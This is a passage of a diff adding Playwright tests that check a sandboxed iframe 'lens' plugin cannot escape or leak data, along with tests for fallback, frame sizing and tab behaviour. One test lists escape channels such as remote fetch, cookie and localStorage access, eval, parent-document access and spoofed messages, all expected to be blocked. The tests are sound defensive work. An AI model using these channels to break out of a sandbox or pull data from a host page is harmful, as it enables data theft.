expect(r.forged).toBe(false); // window.beacon could not be replaced+ expect(r.origin).toBe('null'); // opaque origin+ expect(r.seenPorts).toBe(0); // lens listeners never see the host's port++ for (const probe of [+ 'fetchSameOrigin', 'fetchRemote', 'xhr', 'websocket', 'image', 'nestedFrame',+ 'parentDocument', 'topLocation', 'localStorage', 'cookie', 'eval', 'newFunction', 'popup', 'worker',+ ]) {+ expect(r[probe], probe).toBe('blocked');+ }+ // Spoofed window messages to the host changed nothing.+ const height = await page.locator('iframe.lens-frame').evaluate((f: HTMLIFrameElement) => f.style.height);+ expect(height).not.toBe('99999px');+ // Let a queued beacon flush before concluding nothing was sent.+ await page.waitForTimeout(500);+ expect(escaped).toEqual([]);+ expect(offsite).toEqual([]);+});++test('a lens that navigates its own frame is closed without leaking', async ({ page }) => {+ const offsite = await trackOffsite(page);+ await openLens(page, 'navigator');+ await expectFellBack(page, /navigated away from itself/);+ expect(offsite).toEqual([]);+});++test('a lens that throws before rendering falls back to the full session', async ({ page }) => {+ await openLens(page, 'thrower');+ await expectFellBack(page, /boom before render/);+ await expect(page.locator('.session-events-panel')).toBeVisible();+});++test('a lens that never renders falls back after the timeout', async ({ page }) => {+ await openLens(page, 'staller');+ await expect(page.locator('#lens-status')).toBeVisible();+ await expectFellBack(page, /did not render within 10 seconds/);+});++test('the host sizes the frame to the lens content', async ({ page }) => {+ await openLens(page, 'tall');+ await expect+ .poll(async () => parseInt(await page.locator('iframe.lens-frame').evaluate((f: HTMLIFrameElement) => f.style.height), 10))+ .toBeGreaterThanOrEqual(2400);+});++test('tabs are added from the menu, deep-linked, and removed', async ({ page }) => {+ await page.goto('/session.html?id=s1');+ await page.evaluate(() => localStorage.clear());+ await page.reload();+ await expect(page.locator('#lens-tabs .lens-tab')).toHaveCount(1);+ await page.click('#lens-add-button');+ await page.locator('.lens-menu-item', { hasText: 'Activity' }).click();+ await expect(page).toHaveURL(/lens=activity/);+ await expect(lensFrame(page).locator('#root')).toBeVisible();++ await page.goBack();+ await expect(page.locator('#session-detail-view')).toHaveAttribute('data-view', 'full');+ await page.goForward();+ await expect(page.locator('#session-detail-view')).toHaveAttribute('data-view', 'lens');++ await page.reload();+ await expect(page.locator('#lens-tabs .lens-tab')).toHaveCount(2); // remembered+ await page.locator('.lens-tab', { hasText: 'Activity' }).locator('.lens-tab-remove').click();+ await expect(page.locator('#lens-tabs .lens-tab')).toHaveCount(1);+ await expect(page).not.toHaveURL(/lens=/);+});